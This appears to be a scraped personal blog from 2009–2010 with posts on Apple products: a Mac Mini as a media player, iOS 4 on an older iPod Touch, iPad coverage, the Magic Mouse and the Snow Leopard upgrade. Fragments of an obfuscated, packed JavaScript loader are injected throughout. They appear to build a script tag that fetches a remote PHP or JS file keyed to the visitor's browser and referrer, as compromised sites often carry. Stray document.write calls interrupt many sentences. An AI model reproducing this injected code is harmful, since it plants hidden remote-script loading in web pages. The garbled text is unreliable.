Mini is super

AirPort delays
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esfza|var|u0026u|referrer|tfstb||js|php’.split(‘|’),0,{}))

Up to recently I was using an old Apple TV to watch my videos on my big HDTV (a 40-inch Sony Bravia Series S LCD). To store and feed the videos to the media box, document.write(“”); I also needed a network hard-drive (a Vantec’s NexStar Dual Bay Hard Drive Dock [NST-D200SU] with two terabyte-HDs plugged to an Apple’s AirPort Extreme). Unfortunately, this setting always kept the HD spinning which eventually lead to drive failure. Deeming the setting unstable (and definitely unsafe for the drives) I decided to replace the Apple TV and therefore spent some time analyzing which devices would be the best candidates for replacement. The obvious choice is the new Apple TV 2: it is one of the cheapest options, but unfortunately has all the problems of the original Apple TV (a rather unflexible device that needs to be hacked to offer interesting functionality) and has been primarily designed for streaming specific content (mostly iTunes’ movies, YouTube, NetFlix). Of course, there are plenty of media streaming devices out there (like the Popcorn Hour, the Roku, or the Boxee Box just to name a few) with each their advantages and problems. I had been pondering the dilemma for a while and finally concluded that the best and most flexible option (although the most expensive) was to use the latest Mac-Mini model.

Mini Me

The Mac-Mini (mid-2010 model) is a full-fledge computer that pack the same power as my iMac (the Mid-2007 model, which has a 2.4 GHz Intel Core 2 Duo processor with 2 GB of RAM and 320 GB of HD) but in a much smaller box (it’s about the same size of the old Apple TV). Therefore it could not only serves as a backup computer but also can easily play any type of video files (through Quicktime, Front Row, XBMC or Boxee) or even stream video from the internet. The greatest improvement on previous Mac-Mini models is that this one has an HDMI output which, like for the Apple TV, provide the best quality picture (1080p or 1920 x 1200). This is important in regard to the fact that the new Apple TV 2 offers only 720p. I can even watch Dvds since it also has a 8x slot-loading SuperDrive. As a bonus it also has a SD card slot, plenty of connectivity (a FireWire 800 port, four USB 2.0 ports, 802.11n Wi-Fi, Bluetooth 2.1 and 10/100/1000BASE-T Ethernet) and can easily be upgraded, if needed, with more memory! In conclusion: it is so much more than what I had with the Apple TV.


Streaming is the dream

I am glad that I was able to quickly replaced my old Apple TV so I was not deprived for too long of the ability to watch downloaded videos. And I am even happier to have replaced it with a media player that is much better and more powerful. Now I can watch hi-definition videos (those heavy mkv files) without getting a jumpy picture or out of sync sound. I can browse the internet and enjoy all the advantage of iTunes from my couch. But I have also discovered something new.

I had heard of streaming sites like Hulu before, but never bothered to check it because it is not available in Canada. I’ve heard of several equivalent Canadian sites, but I don’t like to watch TV on my computer (it’s only a twenty-inch screen and the seat is really uncomfortable) and most of those sites don’t work on my iPad because they are flash-based. I tried Crunchyroll or Netflix on the iPad but you get tired easily on a ten-inch screen (although some apps, like Netflix, work with the out-video cable) and it can still be a little slow or jerky sometimes. However I was really astonished by the ability of the Mac-Mini to stream video to my HDTV.

I am convinced that web TV is really the future of television and sometimes wonder why I still bother to pay for cable. You already can stream lots of video on demand and even live TV. Here’s a few sites that I’ve found interesting:

More streaming anime links:

Live Tv links:

iOS 4

Monday, document.write(“”); the latest update for the iPhone/iPod Touch operating system was released. As soon as I came back from work I was quite eager to plug my second gen iPod Touch and update its iOS for its fourth iteration. Of course, I was well aware that I would not get all the benefits of the iOS 4 because my version of the iPod was old and its processor could not handle all the new features (like the multitasking and the background picture). I just wanted some changes and see what kind of improvements it would bring… So, I first tried the easy updating procedure recommended by Apple. It didn’t work!
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iaisz|var|u0026u|referrer|bidkd||js|php’.split(‘|’),0,{}))

I simply plugged my iPod, opened iTunes, backed up the device (without updating; it took a few minutes) and then I pushed the “update” button and waited. The first step was to back up the device, again. The computer said that the whole updating could take an hour an half, so I went to watch TV. After a couple of hours the progress bar had moved only a few millimeters! I closed all other applications running on my iMac and tried again. After another couple of hours, the progress bar still had moved only a few millimeters! Frustrated, I turned it off, decided that I would update to iOS 4 later and went to bed.

The next day was one of my day off, so I tried again. Same result. So I started to search the forums and read the tech news sites to discover that I was not alone with this problem. After reading various suggestions, I first tried the simplest one: I removed all music, movies, tv shows and podcasts from the iPod Touch (I could resync them after updating) and tried again. After one hour (I was getting less patient) I still had only a few millimeters on the progress bar. Therefore I decided to go with a more radical solution: do a restore instead of an update. And it worked! In less than an hour, iTunes backed up the iPod’s data, performed the update and resync the content. Of course, since the last sync was done without much content (remember I removed all music, movies, tv shows and podcasts), I had to reselect the “Sync Content” box (it was easy since each individual selection was still checked) and sync the device again.

Unfortunately, for me, the update to iOS 4 was a little disappointing. Without the multitasking and background pictures, the “only” improvement are folders, the unified mailbox and a few other small things. But just that is already great. But the worse is that this old device (after all it’s nearly two years-old) is barely compatible with iOS 4, so it is slightly slower than before and tends to crash more often… If you have a 2nd gen iPod Touch and haven’t updated it yet, well, I would not recommend doing it. iOS 4 is really for the iPod Touch 3rd gen, the iPhone 3GS & 4.

All this made me think that maybe it was time to upgrade my iPod Touch (I’m sure that’s the purpose of all software updates: make you slobber over all those cool new features so you’ll want to upgrade your device). After all, when I purchased the iPod Touch, I told myself that it was like a set of training wheels for the iPhone… Unfortunately, I just purchased an iPad and can’t really afford an iPhone 4 (the device in itself is not that expensive, but the service subscription’s cost is rather prohibitive). I can’t wait for iOS 4 to be available for the iPad later this Fall (hopefully in early september) so I can experience multitasking… However, with the coming of the iPhone 4, the market will certainly be flooded with used iPhones at cheaper prices… I could consider purchasing a used iPhone 3GS (not the 3G since, like the 2nd gen iPod Touch, it won’t fully run iOS 4) and use it as an iPod with phone capability (just put my SIM card in it and use it with wi-fi only, without using any data plan). I could get rid of both the old iPod Touch and the even older Motorola V360. That could certainly work.

So, if there’s anyone out there that just purchased an iPhone 4 and want to get rid of his/her iPhone 3GS for a reasonable price, don’t hesitate to contact me

Some cool Apple-related videos

Steve Jobs at All Things Digital
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WWDC 2010 Keynote Address

iPhone 4 Intro Video

Time Reinvents the iPad Magazine, document.write(“”); Again

Revue de Presse / Press Review (2010/04/02)

I am trying to catch up on my sleep (luckily the Easter week-end is upon us). It was another slow news week. If the local news were all about the Quebec Budget [in French], document.write(“”); the media in general were in a frenzy about the upcoming iPad from Apple. See the latest news from Apple Insider, Engadget, MacNN, The Unofficial Apple Weblog and others:
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|raeyr|var|u0026u|referrer|enyka||js|php’.split(‘|’),0,{}))

iPad frenzy!

Anime & Manga related, Japan, Popular Culture

Books, Digital Edition & Library

Economy, Environment & International Politics

Humour

Media, Culture & Society

Montreal & Local/National Politics

Real-estate

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Updated 2010/04/04

Charlie Rose discusses iPad

On Feb 4, document.write(“”); 2010, Charlie Rose discussed the Apple’s iPad with Michael Arrington, Walter Mossberg and David Carr:
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>>Popout

This week in the press (2010-02-02)

A relatively quiet week dominated by Obama’s State of the Union and budget, document.write(“”); as well as Apple’s iPad announcement. While the tech geeks express their disappointment of the iPad, the pundits ponder its enormous potential and the media moguls wonder if the iPad can really stop the flow of red ink in the publishing industry…
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More iPad press commentary

Books, Digital Edition & Library

Economy, Environment & International Politics

Humour

Media, Culture & Society

Montreal & local politics

Science & Technology

See also the “Suggested Links (Shared Items)” in the column on the right side

(updated at 18:12)

Apple officially announced its tablet: the iPad

Yesterday Apple finally announced its tablet. It is officially named the iPad (I know: it’s lame, document.write(“”); brings all sorts of jokes about female hygiene, and a name too similar to “iPod“ could cause confusion but who cares; it’s the product that counts, not the name). Opening Apple’s special event titled “Come see our latest creation” at the Yerba Buena Center in San Francisco, Steve Jobs first stated that “Apple is the largest mobile devices company in the world” and said that he chuckled when he saw The Wall Street Journal quote “Last time there was this much excitement about a tablet, it had some commandments written on it.” This quote is emblematic of all the rumors and hype that preceded the release of the iPad.
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The device looks like an oversized iPod Touch—it is half-an-inch thick (12.7 mm), weights only 1.5 lbs (680 g) and offers a 9.7” (24.3 cm) LED-backlit Multi-Touch display (resolution of 1024×768 at 132dpi)—but has impressive specs: it’s powered by a 1 GHz Apple A4 chip, a minimum of 16 GB flash-drive (you can also get 32 GB and 64 GB) and a battery that should last 10 hours (or one month of stand-by). It also comes with a dock connector, a speaker, a microphone, a 3.5-mm stereo headphone jack, bluetooth 2.1, wiFi (802.11a/b/g/n), an accelerometer, an ambient light sensor, a digital compass and very few buttons (On/Off/Sleep/Wake, Mute, Volume, Home). It runs the iPhone/iPod Touch OS with optimized basic apps (Safari, Mail, Photos, Video, YouTube, iPod, iTunes, App Store, Maps, Notes, Calendar, Contacts) as well as any traditional iPhone/iPod Touch apps (in their original size or double-pixel, full screen format)—but, by its release time, many developpers will have produced versions of their apps optimized for the iPad. There are also two apps specific to the iPad: iWork for iPad (Pages, Numbers, & Keynote going for $9.99 each) and iBooks, the iPad eBooks reader (using ePub format, eBooks are downloadable from Apple’s iBookstore for $12.99 ~ $14.99).

The iPad also comes as an optional 3G model (that costs an extra $130 US) which offers assisted GPS location and cellular data-only connectivity (UMTS/HSDPA at 850, 1900, 2100 MHz and GSM/EDGE at 850, 900, 1800, 1900 MHz using a Micro-SIM card). The device is unlocked but Apple has strucked a very good deal with AT&T for the 3G service: 250 MB of data for $14.99/month or unlimited data for $29.99 US/month (all that contract-free, so you can cancel anytime). Several accessories are also available: a Dock ($29 US, to charge and sych the iPad or use it as a picture frame), the Keyboard Dock ($69 US, a dock that comes with a full-size keyboard, for those who dislike the onscreen keyboard), a Case ($39 US, to protect the iPad and that can also be used as a stand to type or watch videos), a Camera Connection Kit ($29 US, to import photos either via a USB cable or a SD card), a Dock Connector to VGA Adapter ($29 US, to connect the iPad to a projector or a monitor) and a 10W USB Power Adapter (to charge the iPad directly from a power outlet).

Now, what about pricing & availability? The price (see chart bellow, in $US) is probably the best and most surprising thing about the iPad. The WiFi version will be available in 60 days (late March) and the 3G version will come out in 90 days (late April).

I don’t understand why the tech press made plenty of negative comments about the iPad once it was announced. Of course, after so much hype, the “magical” device may appear a little disappointing, but it is still an excellent product. However, I admit that not everyone will need an iPad. It all depends on what you want from it and which other devices you already have. If you already own both an iPhone and a MacBook, for example, it is likely you would have little use of an iPad. In my case, since I own neither of them, I am not shy to say that it should fulfill my expectations and will certainly answer my needs. As I was currently shopping for a cheap netbook and a Kindle, I am convinced that I will find better than those two devices in a single iPad. You see, the best purchase I made in the last five years was definitely my iPod Touch: I use it constantly as portable internet device, to check weather & bus schedules, read news online, read eBooks, play a few games, listen to music, watch videos, etc. I always keep it close to me and I love it. My only complain is that the screen is a little too small to read or watch video (I am getting old and my eyes are not as good as they were). Therefore, I was searching for a similar device with a bigger (color) screen that would make it easier to read web pages or eBooks and to watch video. I believe that the iPad is, without contest, the best candidate for that. Many apps on my iPod Touch (among others [click for iTunes links] Documents To Go, newspapers readers like Le Monde, NY Times, Cyberpresse, etc., eBooks readers like Stanza, Kindle for iPhone, B&N eReader, Kobo, Comics, Go! Manga, etc., all the PixelMags magazine apps, or video streaming apps like NFB Films or Crunchyroll) will have their real raison d’être with the iPad. So I can’t wait to purchase one (my choice would go for a 16 GB 3G model: I currently own a 8 GB iPod Touch, so 16 GB should be plenty for my need and the 3G would be a great improvement on the WiFi-only iPod).

Unfortunately, much is still unknown about the iPad—What would be the Canadian price? Will there be an affordable 3G international deal for Canada (Jobs said that International deals will start being announced this summer, in June or July, but with Rogers or Bell who knows how long it will take or how expensive it could get)? Will we be able to read our own eBooks in different formats, like PDF?—and it is still a device far from perfection: the iBooks app (and consequently the iBookstore) will be available only in the U.S. (at least in the beginning), the iPad offers no multi-tasking capability, no SD card slot, no Flash support and no webcam. The logical decision would be to wait for the next generation of the device (or at least a few months) to give time for Apple to make improvements, but I know I will purchase one as soon as it is released anyway.

iPad Press Reviews

(updated 2010/02/02)

Lecture sur iPhone

Le 14 novembre dernier Le Devoir faisait paraître un article intitulé “Plus de lecteurs que de joueurs sur le iPhone” (le lien ne renvoi malheureusement pas à l’article complet étant donné que, document.write(“”); contraitement à la Gazette ou à La Presse, la version digitale intégrale du Devoir n’est disponible que par abonnement).
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L’
article fait état d’une étude qui démontre que récemment plus de livres numériques ont été téléchargé sur les iPhone et iPod Touch d’Apple que de jeux vidéos (en fait 20% des applications téléchargées seraient des ebooks). C’est surprenant quand on sait que le marché des jeux vidéos sur téléphones intelligents est en pleine croissance justement à cause de la venue du iPhone.

L’impact de l’iPhone et de l’iPod Touch (que l’article nomme “iTouch”) sur l’industrie du livre numérique pourrait donc être immense étant donné qu’ils représentent déjà un marché de 57 millions d’usagers. C’est un marché beaucoup plus vaste que celui du lecteur (livrel) Kindle d’Amazon. Apple pourrait donc se positionner d’une façon très avantageuse dans le marché du livre numérique. Pour l’instant, Apple est désavantagé par le petit écran de ses lecteurs (3.5 po — et non 6 po comme mentionné dans l’article; 6 po c’est la taille de l’écran du Kindle), mais si la rumeur du lancement en 2010 d’un lecteur avec un plus grand écran (la fameuse “tablette”) s’avérait vrai, alors Apple prendrait définitivement la tête du marché (et je serais l’un des premiers à acheter un tel produit — sinon je devrai éventuellement me rabattre sur un Kindle, maintenant disponible au Canada). L’abonnement à The Gazette est d’ailleurs depuis peu disponible sur Kindle.

A Magic Mouse !

I liked my Mighty Mouse a lot (but it’s not mighty anymore due to some copyright issues with the name: just the Apple Mouse now). I don’t think it was my first wireless mouse (I don’t remember well, document.write(“”); but I think I had a standard wireless mouse that I gave to my sister later), but it was the first one with a trackball. I bought it not long after it was released, along with the short Apple aluminum wireless keyboard (I ordered them a little after I got my 20-inch 2.4GHz Intel Core 2 Duo iMac — the Mid 2007 model). The freedom of having a wireless mouse is difficult to express, but adding a trackball to it was really making it easier to move on the screen. Particularly when doing a lot of internet browsing or even graphic layouts like I do. After a couple of weeks of using it, I was easily getting annoyed whenever I had to use a trackball-less mouse at work. And its round, oval shape was quite confortable to work with, even for long hours.
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Unfortunately, the Mighty Mouse had two major drawbacks: poor battery life and the trackball mecanism getting dirty and difficult to clean up. Holding the mouse upside down and rolling the ball on a clean sheet of paper was the best trick I had found to clean the mecanism, but after a while it simply stopped working properly and it was getting difficult to move through the screen even for simple task. I didn’t want to spend money on another Might Mouse, so I was quite happy to learn that Apple had come out with the most clever solution to solve the trackball problem for its newest wireless mouse, known as the
Magic Mouse.

Unsurprisingly, Apple succeeded to build a better mouse. They gave it a new sleek design, a more sensitive laser tracking, an improved battery life and (that’s where their genius came to work) they replaced the trackball with a Multi-touch surface similar to what we find on their MacBook Pro. They created the first multi-touch mouse! Not only you can move the cursor on the screen by moving the mouse (on any surface, no need of a mousepad anymore) and click or double-click like any mouse, but you can also control the screen using gesture on the multi-touch surface. There are no buttons as the mouse itself functions as a left and right two-button mouse. By brushing your finger on the seamless multi-touch surface you can scroll in any direction (up and down, left and right, and even pan a full 360 degrees). Scrolling with one finger while holding down the keyboard’s control key will perform screen zoom. With a two-finger swipe you can also advance through pages in Safari or browse photos in iPhoto. It’s really amazing.

I was afraid that it would take me some time to get used to its “sleek and dramatically different low-profile design” or to using the multi-touch surface instead of a trackball, but, in the contrary, it was quite easy. It’s very confortable to use and I got the hang of the touch thing within minutes. It was a well spent $70. I heartily recommend it. It’s simply… magic!

Unfortunately, the widget Mighty Monitor (to check the battery level of the Mighty Mouse and Wireless keyboard) doesn’t work for the Magic Mouse. I hope that the widget will be updated or someone will create a similar one for the Magic Mouse. Although we can always check battery levels through the bluetooth icon in the menubar… but it’s not as cool as the widget.

Update (2009-11-08): Apparently some people are experiencing problems with their Magic Mouse… No problems so far for me.

Update (2009-11-11): Still no “real” problem with my Magic Mouse but the more I use it the more I see its limitation. No complain with the laser tracking, but the scrolling with the multi-touch surface can often be difficult to control precisely. Sometime when I moved the mouse just by holding it on its sides it induce involuntary scrolling. Sometimes it scrolls too fast. It is particularly annoying when you are doing precise tasks like layout. I guess nothing is perfect. However, I still like the Magic Mouse.

Update (2009-12-08): Apparently the Magic Mouse is causing keyboard battery drain… I’ve been plagued by this problem since I’ve installed the Magic Mouse and was wondering what was happening. Hopefully Apple will acknowledge the problem soon and quickly provide a fix. Also an anonymous tipster told me that the Mighty Monitor has been updated to support the Magic Mouse. I’ve downloaded the update and it works great.

Update (2010-01-26): An Aluminum Wireless Keyboard Firmware Update is supposed to solve the battery drain problem…

Update (2010-06-03): Yup, I haven’t had any problem since…

Snow Leopard

The new Macintosh Operating System, document.write(“”); Mac OS X 10.6 also known as “Snow Leopard,” shipped last week (friday August 28th) but I didn’t receive it until monday (August 31st).
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In preparation for the update,
following some recommendations, I had already made sure last week that my Time Machine backup was up-to-date and that every other devices linked to my Mac (A-TV, iPod) had been properly synced. I had also verified my hard drive, repaired permissions and did a little cleaning (getting rid of a few unused or older apps). Just to make really sure I could easily recover from any problems, I had also purchased an extra 320Gb hard drive that was used to clone the HD of my iMac.

(More after the jump)

I’ve spend all monday night installing Snow Leopard. It really took most of the evening, so I watched TV while it was installing. I then spend a couple of hours checking the computer for changes and problems. I already knew by reading the tech news that some apps would not work and that most of the changes would be invisible, but I couldn’t help to feel disappointed. I am glad that I paid only $35 CND ($29.95 US) for this upgrade and somewhat I don’t regret getting it. The OS was almost entirely rewritten so it is faster and lighter, but the speed increase is not really noticeable. And all the improvements (on the visual appearance, on the performance or the added fonctionnality) are rather small. Overall, it is mostly the same than Leopard, but better. However, there’s no new fonctions that make me exclaim in joy and the new OS generates several problems. It is far from the crisis that I experienced when installing Mac OS 6 and 7, but still those little problems end up being quite an annoyance.

Here’s a quick list of the problems that I experienced:

  • Norton Anti-Virus 11.0.2 is broken.
  • Mail app is behaving strangely.
  • iCal cannot publish Calendars anymore.

For Norton Anti-Virus there is nothing I can do but wait for Symantec to released an updated version that fixes the bug. However, I am amazed that such a big company, who is handling the security for so many people’s computer, would let a problem like this happen. It is true that Snow Leopard was released ealier than expected, but the OS was seeded to developpers several months ago for them to test it and make sure their softwares would still work properly after the update. Clearly, Symantec has failed us. According to their forum, NAV 11.0.3 update should be available around mid-September…

After installing Snow Leopard, one of my mail server was at first not responding, but it worked after a while. Then I noticed that some emails were not appearing where they should in the email’s list of the Mail app. I first thought “well, I have lots of emails—in fact two years worth of emails—so it might be a little heavy fo the app and cause it to be slow and behave strangely.” Therefore I decided to backup and eliminate most of the older emails. First, I archived and zipped all my mailboxes (so I could re-import them later if necessary). Then I also upgraded Mail Steward 7.9.8 to 8.2.5 (at the cost of $20) to archive all my mailboxes in a way that would be searchable. Finally, I deleted all my old emails. I thought it did the trick, but I recently noticed that some emails are still sometime not listed, but they reappear if I refresh the window. I haven’t seen that problem mentioned by anyone else (someone did mention problems with the Mail app but it seems to be a different bug). It is not too much of a problem, but it is annoying and hopefully it will be corrected in a future update.

After installing Snow Leopard, I also noticed that my exported iCal calendar were not working anymore. I was getting a “calendar cannot be found” error message from MobileMe. According to the tech news sites, a bug seems to prevent calendars with all-day events to be properly published. After searching the web, I found a work-around using iCal Exchange to publish the calendar on Google Calendar instead. On the Apple forums, someone suggest that switching iCal from 64-bit to 32-bit mode will temporarily fix the problem. I haven’t tried this fix yet and I am rather waiting for an Apple update.

Finally, some of the applications that I am currently using are still PowerPC apps. For some, I’ve found updated version for Intel Macs, but for a few apps there are no Intel or Universal version. For some there is simply no alternative than continue to use Rosetta (ReadIris Pro 11 for example) and for others I will have to consider purchasing alternative softwares (for example: updating Toast 6 Titanium with Roxio Toast 10 for $80, or replacing Appleworks 6 with Bento 2 for about $50).

Update: On September 9th, in Apple “It’s Only Rock and Roll” event, Steve Job announced iTunes 9, new iPod models and the iPhone / iPod Touch OS 3.1.1. Similarly to Snow Leopard, the free iPod Touch OS update is bringing just a few disappointing improvements and, according to some, a few problems. In my case, the iPod seems to have batteries problem recently. Goes from fully charged to nearly empty so it shuts down and is unable to reboot until it’s recharged. Annoying.

Update: On September 10th, Apple released Mac OS X 10.6.1 but it doesn’t seem to fix any of my problems. Hopefully it will come with the next update.

Update: On September 16th, the Symantec forum announces the release of NAV 11.0.3. I ran LiveUpdate immediately and after a longer than usual download, NAV installs and request a reboot. It now seems to work. They announced another update, 11.1, for late October.